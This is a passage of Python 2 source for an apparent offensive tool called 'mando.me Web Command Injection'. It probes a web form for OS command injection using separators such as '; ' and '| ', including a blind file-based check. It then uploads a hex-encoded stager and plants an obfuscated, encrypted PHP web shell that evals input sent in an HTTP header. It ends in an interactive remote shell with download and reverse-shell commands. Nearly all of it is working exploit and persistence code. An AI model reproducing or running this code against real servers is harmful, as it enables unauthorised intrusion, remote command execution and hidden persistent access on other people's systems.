"\"")))) else: request = urllib2.Request(url) if not _gs["cookies"] == None: request.add_header("cookie", _gs["cookies"]) response = urllib2.urlopen(request).read() if internal: return response else: result = "" normal_response = interactor("", True) for i, s in enumerate(difflib.ndiff(normal_response, response)): if s[0] == " ": continue elif s[0] == "+": result = result + s[-1] return result.replace(command, "") if _placeholder == interactor("echo " + _placeholder).strip(): Print.success("Injection method is working => '" + special + "echo " + _placeholder + "'") os = _gs["system"] = Utility.get_os(interactor) Print.info("System seems to be: " + enum_name(os, Utility.os)) if os == Utility.os.LINUX: Print.status("Uploading stager") interactor("echo -n -e '" + r"\\x" + r"\\x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"]) elif os == Utility.os.WINDOWS: Print.status("Uploading stager") interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"]) else: Print.error("The system is unsupported for this exploit.") Print.status("Aborting all further objectives!") sys.exit(2) _gs["url_stager"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["stager"]["path"] Print.success("Stager is uploaded") return True Print.error("Injection method is not working") return False def technique_blind_file_based(): Print.status("METHOD: Blind file based injection") for special in ["& ", "; ", "| ", "&;& "]: def interactor(command, internal = False): import difflib url = _gs["url"] if _gs["get"] <> None: url = url + "?" + urllib.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))) if _gs["post"] <> None: request = urllib2.Request(url, urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))) else: request = urllib2.Request(url) if not _gs["cookies"] == None: request.add_header("cookie", _gs["cookies"]) response = urllib2.urlopen(request).read() if internal: return response else: result = "" normal_response = interactor("", True) for i, s in enumerate(difflib.ndiff(normal_response, response)): if s[0] == " ": continue elif s[0] == "+": result = result + s[-1] return result.replace(command, "") def check_placeholder(_placeholder): try: interactor("echo " + _placeholder + " >> " + _placeholder) return _placeholder == urllib2.urlopen(_gs["url"][:_gs["url"].rfind("/") + 1] + _placeholder).read().strip() except: return "" if check_placeholder(_placeholder): Print.success("Injection method is working => '" + special + "echo " + _placeholder + " >> " + _placeholder + "'") os = _gs["system"] = Utility.get_os(interactor) Print.info("System seems to be: " + enum_name(os, Utility.os)) if os == Utility.os.LINUX: Print.status("Removing indicator") interactor("/bin/rm -f " + _placeholder) Print.status("Uploading stager") interactor("echo -n -e '" + r"\\x" + r"\\x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"]) elif os == Utility.os.WINDOWS: Print.status("Removing indicator") interactor("del /f " + _placeholder) Print.status("Uploading stager") interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"]) else: Print.error("The system is unsupported for this exploit.") Print.status("Aborting all further objectives!") sys.exit(2) _gs["url_stager"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["stager"]["path"] Print.success("Stager is uploaded") return True Print.error("Injection method is not working") return False ## Queue techniques techniques = [ technique_result_based, technique_blind_file_based, ] Print.text() Print.status("Testing different injection techniques") for technique in techniques: if technique() and not _gs["url_stager"] == None: # Collect information if Print.confirm("Encrypt response"): _gs["smplshll_response_encryption"] = True else: _gs["smplshll_response_encryption"] = False _gs["payloads"]["smplshll"]["payload"] = _gs["payloads"]["smplshll"]["payload"].replace("72657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b", "72657475726e20246275666665723b") # Prepare payload _gs["smplshll_main_password_var"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8)) _gs["smplshll_main_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) _gs["smplshll_input_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) _gs["payloads"]["smplshll"]["payload"] = Utility.crypt(_gs["smplshll_main_password"], _gs["payloads"]["smplshll"]["payload"].decode("hex").replace("__INP_PSW__", _gs["smplshll_input_password"])) _1 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _2 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _3 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _4 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _5 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _6 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _7 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) time.sleep(0.1) _8 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) _gs["payloads"]["smplshll"]["payload"] = "3c3f7068702066756e6374696f6e20{0}2824{2}2c2024{3}2c2024{4}203d2027{5}2729207b2024{6}203d2027273b206966202824{4}20213d3d2027{5}27297b2024{3}203d206261736536345f6465636f64652824{3}293b207d20666f7220282024{7}203d20303b2024{7}203c207374726c656e2824{3}293b2024{7}2b2b29207b2024{8}203d206f7264287375627374722824{3}2c2024{7}29293b206966202824{4}203d3d2027{5}2729207b2024{8}202b3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d206368722824{8}20262030784646293b207d20656c7365207b2024{8}202d3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d20636872286162732824{8}2920262030784646293b207d207d2069662824{4}203d3d2027{5}2729207b2024{6}203d206261736536345f656e636f64652824{6}293b207d2072657475726e2024{6}3b207d206576616c28{0}28245f5345525645525b22485454505f{1}225d2c2027{9}272c2027{0}2729293b3f3e".format( _1.encode("hex"), _gs["smplshll_main_password_var"].encode("hex"), _2.encode("hex"), _3.encode("hex"), _4.encode("hex"), _5.encode("hex"), _6.encode("hex"), _7.encode("hex"), _8.encode("hex"), _gs["payloads"]["smplshll"]["payload"].encode("hex") ) stager_upload(_gs["url_stager"], _gs["payloads"]["smplshll"]["payload"], _gs["payloads"]["smplshll"]["path"]) _gs["url_exec"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["smplshll"]["path"] _gs["url"] = _gs["url_exec"] return Print.error("System could not be exploited") sys.exit(2) def main(argv): global _gs, help_notes try: opts, args = getopt.getopt(argv, "", [ "help", "url=", "post=", "get=", "cookies=", ]) except getopt.GetoptError, err: print help_notes print err sys.exit(2) for opt, arg in opts: if opt in ("--help"): print help_notes sys.exit() elif opt in ("--url"): _gs["url"] = arg elif opt in ("--post"): _gs["post"] = arg elif opt in ("--get"): _gs["get"] = arg elif opt in ("--cookies"): _gs["cookies"] = arg if (not _gs["url"] == ""): try: urllib2.urlopen(_gs["url"]).read() except urllib2.URLError, e: print "\n \033[91mCannot access the interface\033[0m" sys.exit(2) ## Initialize command injector CommandInjector.init() ## Set initial global settings _gs["working_directory"] = MandoCommand.mc_pwd() _gs["initial_path"] = _gs["working_directory"] _gs["shell_path"] = _gs["initial_path"] + MandoCommand.separator() + _gs["url"][_gs["url"].rfind("/") + 1:] _gs["system"] = Utility.get_os(PHPInteractor.command) Print.text("\033[38;5;160m" + r" _ " + "\033[0m") Print.text("\033[38;5;161m" + r" /\/\ __ _ _ __ __| | ___ _ __ ___ ___ " + "\033[0m") Print.text("\033[38;5;162m" + r" / \ / _` | '_ \ / _` |/ _ \ | '_ ` _ \ / _ \ " + "\033[0m") Print.text("\033[38;5;163m" + r"/ /\/\ \ (_| | | | | (_| | (_) || | | | | | __/ " + "\033[0m") Print.text("\033[38;5;164m" + r"\/ \/\__,_|_| |_|\__,_|\___(_)_| |_| |_|\___| " + "\033[0m") Print.text("\033[38;5;130m" + r" _ _ _ " + "\033[0m") Print.text("\033[38;5;131m" + r" ___| |__ ___| | | " + "\033[0m") Print.text("\033[38;5;132m" + r"/ __| '_ \ / _ \ | | Web Command Injection 0.1 " + "\033[0m") Print.text("\033[38;5;133m" + r"\__ \ | | | __/ | | Created by z0noxz " + "\033[0m") Print.text("\033[38;5;134m" + r"|___/_| |_|\___|_|_| " + "\033[0m") MandoCommand.mc_status() local_files = [] # GET LIST OF LOCAL FILES (EXECUTING PATH) FOR UPLOAD local_ips = Utility.ip4_addresses() while (True): remote_files = PHPInteractor.command("cd " + _gs["working_directory"] + " && ls -Rp | awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,\"\");s=$0;f=1;next}NF&&f{ print s\"/\"$0 }' | grep -v '/$'").strip().split("\n") def ssc_complete(text, state): paths = [] for cmd in MandoCommand.commands(): paths.append(cmd) if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd: if cmd == "download": for x in remote_files: paths.append(cmd + " " + x) elif cmd == "shell": for x in local_ips: paths.append(cmd + " " + x) for path in paths: if path.lower().startswith(text.lower()): if not state: return path else: state -= 1 ## Define autocomplete readline.parse_and_bind("tab: complete") readline.set_completer(ssc_complete) readline.set_completer_delims("") user_input = raw_input("\033[4mmando.me\033[0m > ").strip() if (not MandoCommand.command(user_input)): if _gs["system"] == Utility.os.LINUX: output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && printf \"\n\" && pwd").strip().split("\n") elif _gs["system"] == Utility.os.WINDOWS: output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && echo. && echo %cd%").strip().split("\n") else: output = "" _gs["working_directory"] = Utility.check_working_directory(_gs["working_directory"], output[len(output) - 1]) for x in (output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]): Print.text(x) #print " " + "\n ".join((output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1])) try: def handler(signum, frame): void = None ## TODO :: Get the current input and paste message as: # ssc > shell[ctrl+c] # => # ssc > shellInterrupt: use the 'exit' command to quit # ssc > shell #print "Interrupt: use the 'exit' command to quit" signal.signal(signal.SIGINT, handler) signal.signal(signal.SIGTSTP, handler) if __name__ == "__main__": main(sys.argv[1:]) except Exception, err: import traceback print "" Print.error("Something went wrong. Terminating program.") print "" print "\033[91m" print traceback.print_exc(file=sys.stdout) print "\033[0m" MandoCommand.mc_exit(None)